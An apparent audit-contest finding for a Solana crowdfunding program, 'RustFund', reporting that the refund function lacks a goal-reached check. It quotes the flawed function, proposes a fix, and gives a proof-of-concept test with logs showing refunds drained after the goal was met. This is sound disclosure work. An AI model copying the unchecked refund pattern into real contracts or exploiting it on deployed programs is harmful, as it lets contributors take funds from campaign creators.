RustFund

First Flight #36
Beginner FriendlyRust
100 EXP
View results
Submission Details
Severity: high
Valid

Contributors can claim refund even after campaign meets goal

Summary

There is no check in the refund function for when deadline is complete and
campaign goal is reached, this allows contributors to get refund after a successful
campaign.

Vulnerability Details

In the fuction pub fn refund

pub fn refund(ctx: Context<FundRefund>) -> Result<()> {
let amount = ctx.accounts.contribution.amount;
if ctx.accounts.fund.deadline != 0 && ctx.accounts.fund.deadline > Clock::get().unwrap().unix_timestamp.try_into().unwrap() {
return Err(ErrorCode::DeadlineNotReached.into());
}
**ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.fund.to_account_info().lamports()
.checked_sub(amount)
.ok_or(ProgramError::InsufficientFunds)?;
**ctx.accounts.contributor.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.contributor.to_account_info().lamports()
.checked_add(amount)
.ok_or(ErrorCode::CalculationOverflow)?;
// Reset contribution amount after refund
ctx.accounts.contribution.amount = 0;
Ok(())
}

there is no check if there is a successful campaign so that contributors can
not claim refunds after goal is reached.

Impact

Contributors can claim refund after successful campaign and creator loses fundraising funds.

Tools Used

Manual code review.

Recommendations

Add this check after checking for deadline in the refund function

if ctx.accounts.fund.amount_raised >= ctx.accounts.fund.goal {
return ;//return the correct ErrorCode
}

POC

Add this to the function pub fn contribution after system::transfer.
We need the contribution.amount to be updated to test this.

contribution.amount = contribution.amount.checked_add(amount).ok_or(ErrorCode::CalculationOverflow)?;

Increase the const contribution in ./tests/refund.ts to be more than the const goal.

const goal = new anchor.BN(1000000000); // 1 SOL
const contribution = new anchor.BN(2000000000); //2 SOL

Then add this to ./tests/refund.ts

it("Refunds contribution after goal completed", async () => {
console.log("fundBalanceBefore", await provider.connection.getBalance(fundPDA));
console.log("goal", goal.toNumber());
await new Promise(resolve => setTimeout(resolve, 15000)); //default >> 15000
await program.methods
.refund()
.accounts({
fund: fundPDA,
contribution: contributionPDA,
contributor: creator.publicKey,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
//const fund = await program.account.fund.fetch(fundPDA);
const contributorBalanceAfter = await provider.connection.getBalance(provider.wallet.publicKey);
const contributionAccount = await program.account.contribution.fetch(contributionPDA);
console.log("contributorBalanceAfter", contributorBalanceAfter);
console.log("contributionAccount", contributionAccount);
console.log("fundBalanceAfter", await provider.connection.getBalance(fundPDA));
});

this produces this log:

fundBalanceBefore 2037590960
goal 1000000000
contributorBalanceAfter 499999999960941400
contributionAccount {
contributor: PublicKey [PublicKey(JDeAGnJJV61nwWEddJ5cnGCsjH7aVLyNsFngUDKwm75t)] {
_bn: <BN: ffd3aa0c31acc070371d6f3af1a8c65ecbb945ddce7387820c07614a44132cf3>
},
fund: PublicKey [PublicKey(292QJH5wkBVj8AZJnRESjwamqetSVwQ127C8DdghWN16)] {
_bn: <BN: 10e9eb15338cd708935700203ca2361332a08f09176d71fc094ce61a8a3d8461>
},
amount: <BN: 0>
}
fundBalanceAfter 37590960

fundBalanceBefore is more than fundBalanceAfter. Even though the goal of the campaign has been met and deadline has passed, the contributor
was still able to claim a refund.

Updates

Appeal created

bube Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

There is no check for goal achievement in `refund` function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.